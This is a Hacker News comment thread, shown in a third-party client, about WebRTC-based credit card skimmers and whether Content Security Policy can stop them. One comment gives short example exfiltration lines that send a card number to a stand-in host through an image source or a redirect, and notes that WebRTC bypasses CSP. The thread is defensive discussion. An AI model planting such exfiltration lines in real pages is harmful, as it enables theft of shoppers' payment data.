Unofficial Hacker News client - receive Push Notifications on replies.

Credit card skimming scripts using WebRTC found on popular shopping sites (opens external site)

623 points by scanr 3 days ago | www.infohawk.com | 385 comments on HN | Vote on HN (opens Hacker News)

View full thread · View on Hacker News

Comment thread (8)

  1. Would CSP mitigate this?
    Replies (2)
    1. From TFA:

      > On every page that takes payment, set a connect-src rule that lists only the hosts you use.

      (Though you should really be setting a default-src that only lists `self`.)

      Replies (1)
      1. The article says that can only block the part of the WebRTC setup process that requires an HTTP request, though? So I wonder if it is possible for a WebRTC request to be set up with no external HTTP request at all.
        Replies (1)
        1. I think it might. With a cooperating peer on an internet-routable IP address using ICE-lite you can use a static answer and it should still be possible for ICE to establish.

          Haven't tried but in theory it should work.

          You can apparently block WebRTC with `Content-Security-Policy: webrtc 'block'`

          Replies (1)
          1. Looks like that's only in Content Security Policy Level 3[0] which is in a working draft stage. It currently does nothing in Chrome or Firefox.

            Right now there is a chrome-only policy to block it called Connection-Allowlist[1] eg

                Connection-Allowlist: (response-origin); webrtc=block
            
            
            0: https://www.w3.org/TR/CSP3/

            1: https://developer.chrome.com/blog/connection-allowlist-annou...

    2. Not particularly. CSP is good at preventing execution (XSS), but once there is execution it's not the best at preventing exfiltration.

      If an attacker is able to inject/modify an existing script file (or add allowed script files for ads), CSP can't help (unless you're using hashes, but those can be brittle).

      Preventing exfil is very hard with CSP. Any "real world" policy will have need to require open'ish directives (img-src https:, etc), which will allow trivial exfil (<img src='https://exil.com?cc=1234'</>). Redirects (window.location = "https://exfil.com?cc=1234") also go around CSP. There's many CTF challenges related to these bypasses.

      WebRTC is particularly difficult to stop too, and the webrtc directive isn't widely adopted yet. It's commonly used as a global CSP bypass since it doens't call under connect-src (and can't). * https://www.youtube.com/watch?v=sAmJ3Ypbosw

      So this needs to be stopped at the injection point.

      (edit: I guess one could argue for monitoring with report-hash, but it seems unlikey for companies to detect and read every change to 3rd party scripts).

      (Founder of csper.io)

      Replies (1)
      1. > Any "real world" policy will have need to require open'ish directives (img-src https:, etc)

        That is not a normal thing to need. A few specific sorts of sites may warrant it (probably only from deliberately allowing user-generated content to embed remote images, and probably only for historical reasons), but loading images from arbitrary sites is a very bad smell.

        Replies (1)
        1. Yeah that's fair, I shouldn't say "_needs_ to require". It'd be more correct to just say it's common.

          There are some fun cases where it is needed, iirc, google maps use to load image data from many unique country code TLDs, so they had to * img-src. (But now they just don't even specify img-src with their Strict CSP, just not worth the effort).